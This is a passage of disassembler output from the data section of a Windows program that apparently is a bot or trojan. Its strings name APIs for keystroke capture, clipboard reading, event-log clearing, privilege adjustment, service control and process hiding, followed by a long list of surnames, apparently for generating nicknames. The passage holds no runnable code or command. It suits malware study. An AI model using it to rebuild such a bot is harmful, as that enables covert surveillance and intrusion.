'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B12+386o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_409B12+379o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B12+36Co align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B12+35Fo align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B12:loc_409E69o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o align 10h aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B12+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B12+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B12+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B12+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B12+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B12+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B12+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B12:loc_409D71o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B12+20Do align 10h aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B12+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao align 10h aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B12+1A0o align 10h aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B12+193o align 10h aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B12+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B12+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B12+15Fo align 10h aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B12+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B12+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B12:loc_409C47o ; sub_424D78+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao align 10h aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B12+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B12+79o align 10h aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409B12+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B12+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B12+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B12+23o align 4 aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_409B12+Ao align 4 unk_42D9F8 db 2Dh ; - ; DATA XREF: sub_40A7CE+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o align 10h aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o align 10h aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o align 10h aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o align 4 a_: ; DATA XREF: sub_40D99B+10o ; sub_40F96A+252o unicode 0, <.>,0 unk_42DB88 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABF0o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 unk_42DBB8 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABBEo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_42DBE8 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40AB8Ao db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42DC0C db 2Dh ; - ; DATA XREF: sub_40AB31+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC0F+46o ; sub_40BFEB+38o ... align 8 aReal db 'real',0 align 10h dd 0 dword_42DC54 dd 0 ; DATA XREF: sub_40B08D+7o off_42DC58 dd offset sub_40ACB5 ; DATA XREF: sub_40B08D+49r aConst db 'const',0 align 8 dd 1, 40AD22h, 7474656Ch, 7265h, 0 dd 2, 40AD80h, 706D6F63h, 2 dup(0) dd 3, 40ADCDh, 6E756F63h, 797274h, 0 dd 4, 40AE6Bh, 736Fh, 2 dup(0) dd 5, 40AEE0h off_42DCC0 dd offset aAbdulrazak ; DATA XREF: sub_40ACB5+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42DCCC dd offset aAddison ; DATA XREF: sub_40B08D+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd 